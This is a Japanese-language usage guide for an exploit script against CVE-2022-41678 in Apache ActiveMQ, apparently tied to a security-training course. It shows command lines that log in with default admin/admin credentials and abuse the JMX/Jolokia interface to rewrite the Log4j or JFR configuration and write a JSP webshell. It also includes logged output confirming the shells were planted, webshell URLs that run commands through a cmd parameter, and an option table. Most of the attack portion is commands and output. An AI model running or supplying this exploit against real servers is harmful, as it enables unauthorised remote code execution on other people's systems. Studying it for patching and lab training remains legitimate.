
CVE-2022-41678 は Apache ActiveMQ におけるリモートコード実行の脆弱性です。この脆弱性により、攻撃者は JMX インターフェースを介して Log4j 設定または JFR 設定を変更し、悪意のある JSP webshell をサーバーの web ディレクトリに書き込むことで、最終的にリモートコード実行を実現できます。
参考ドキュメント: https://app.nextcyber.cn/courses/41/tasks/580
CVE-2022-41678 は Apache ActiveMQ におけるリモートコード実行の脆弱性です。この脆弱性により、攻撃者は JMX (Java Management Extensions) インターフェースを介して Log4j 設定または JFR (Java Flight Recorder) 設定を変更し、悪意のある JSP ウェブシェルをサーバーの Web ディレクトリに書き込むことで、最終的にリモートコード実行を実現します。
この脆弱性は Apache ActiveMQ の複数のバージョンに影響します。具体的な影響バージョンは Log4j および JFR 設定の使用状況によって異なります。
pip install requests
/api/jolokia/ パスでアクセス可能)デフォルトの admin/admin 認証情報と自動検出された利用方法を使用:
python exp.py http://target:8161
-u および -p パラメータでユーザー名とパスワードを指定することもできます:
# Log4j を使用
python exp.py -u admin -p admin http://10.22.174.214:8161
# 実行結果
python exp.py -u admin -p admin http://10.22.174.214:8161
2025-10-14 22:53:54,115 - INFO - choice MBean 'org.apache.logging.log4j2:type=5faeada1' automatically
2025-10-14 22:53:54,334 - INFO - update log config
2025-10-14 22:53:54,467 - INFO - write webshell to http://10.22.174.214:8161/admin/shell.jsp?cmd=id
2025-10-14 22:53:54,655 - INFO - restore log config
デフォルトの Log4j 利用方法に加えて、--exploit jfr パラメータを指定して JFR 利用方法を使用することもできます。
# JFR 方式を使用
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161
# 実行結果
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161/
2025-10-14 23:16:35,978 - INFO - choice MBean jdk.management.jfr:type=FlightRecorder manually
2025-10-14 23:16:37,390 - INFO - create flight record, id = 1
2025-10-14 23:16:37,533 - INFO - update configuration for record 1
2025-10-14 23:16:38,167 - INFO - start record
2025-10-14 23:16:39,243 - INFO - stop record
2025-10-14 23:16:39,309 - INFO - write webshell to http://10.22.174.214:8161/admin/shelljfr.jsp?cmd=id
エクスプロイトに成功した後、以下の URL にアクセスしてコマンドを実行できます:
# Log4j 方式で書き込まれたウェブシェル
http://target:8161/admin/shell.jsp?cmd=コマンド
# JFR 方式で書き込まれたウェブシェル
http://target:8161/admin/shelljfr.jsp?cmd=コマンド
例えば、id コマンドを実行:
http://target:8161/admin/shell.jsp?cmd=id
| パラメーター | 短縮形 | 型 | デフォルト値 | 説明 |
|---|
--username | -u | 文字列 | admin | ActiveMQ コンソールのユーザー名 |
--password | -p | 文字列 | admin | ActiveMQ コンソールのパスワード |
--exploit | -e | 文字列 | auto | 利用方法、指定可能な値:auto, log4j, jfr |
url | - | 文字列 | - | 対象 ActiveMQ の URL アドレス(必須パラメーター) |